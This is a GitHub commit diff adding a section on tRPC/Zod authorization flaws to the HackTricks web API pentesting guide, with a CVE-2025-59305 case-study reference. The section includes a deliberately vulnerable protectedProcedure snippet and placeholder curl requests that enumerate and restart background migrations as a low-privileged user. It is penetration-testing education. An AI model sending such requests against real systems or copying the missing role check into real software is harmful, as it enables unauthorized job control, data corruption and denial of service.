Skip to content

Commit ef576d4

Browse files
authored
Merge pull request #1457 from HackTricks-wiki/update_How_An_Authorization_Flaw_Reveals_A_Common_Securit_20251001_125513
How An Authorization Flaw Reveals A Common Security Blind Sp...
2 parents d82f764 + d6dce99 commit ef576d4

File tree

1 file changed

+48
-3
lines changed

1 file changed

+48
-3
lines changed

src/network-services-pentesting/pentesting-web/web-api-pentesting.md

Lines changed: 48 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,53 @@ Pentesting APIs involves a structured approach to uncovering vulnerabilities. Th
2828
- **Advanced Parameter Techniques**: Test with unexpected data types in JSON payloads or play with XML data for XXE injections. Also, try parameter pollution and wildcard characters for broader testing.
2929
- **Version Testing**: Older API versions might be more susceptible to attacks. Always check for and test against multiple API versions.
3030

31+
### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls
32+
33+
Modern TypeScript stacks commonly use tRPC with Zod for input validation. In tRPC, `protectedProcedure` typically ensures the request has a valid session (authentication) but does not imply the caller has the right role/permissions (authorization). This mismatch leads to Broken Function Level Authorization/BOLA if sensitive procedures are only gated by `protectedProcedure`.
34+
35+
- Threat model: Any low-privileged authenticated user can call admin-grade procedures if role checks are missing (e.g., background migrations, feature flags, tenant-wide maintenance, job control).
36+
- Black-box signal: `POST /api/trpc/<router>.<procedure>` endpoints that succeed for basic accounts when they should be admin-only. Self-serve signups drastically increase exploitability.
37+
- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`.
38+
39+
Example vulnerable pattern (no role/permission gate):
40+
41+
```ts
42+
// The endpoint for retrying a migration job
43+
// This checks for a valid session (authentication)
44+
retry: protectedProcedure
45+
// but not for an admin role (authorization).
46+
.input(z.object({ name: z.string() }))
47+
.mutation(async ({ input, ctx }) => {
48+
// Logic to restart a sensitive migration
49+
}),
50+
```
51+
52+
Practical exploitation (black-box)
53+
54+
1) Register a normal account and obtain an authenticated session (cookies/headers).
55+
2) Enumerate background jobs or other sensitive resources via “list”/“all”/“status” procedures.
56+
57+
```bash
58+
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
59+
-H 'Content-Type: application/json' \
60+
-b '<AUTH_COOKIES>' \
61+
--data '{"input":{}}'
62+
```
63+
64+
3) Invoke privileged actions such as restarting a job:
65+
66+
```bash
67+
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
68+
-H 'Content-Type: application/json' \
69+
-b '<AUTH_COOKIES>' \
70+
--data '{"input":{"name":"<migration_name>"}}'
71+
```
72+
73+
Impact to assess
74+
75+
- Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics).
76+
- DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages.
77+
3178
### **Tools and Resources for API Pentesting**
3279

3380
- [**kiterunner**](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs.
@@ -53,8 +100,6 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0
53100
## References
54101

55102
- [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire)
103+
- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
56104

57105
{{#include ../../banners/hacktricks-training.md}}
58-
59-
60-

0 commit comments

Comments
 (0)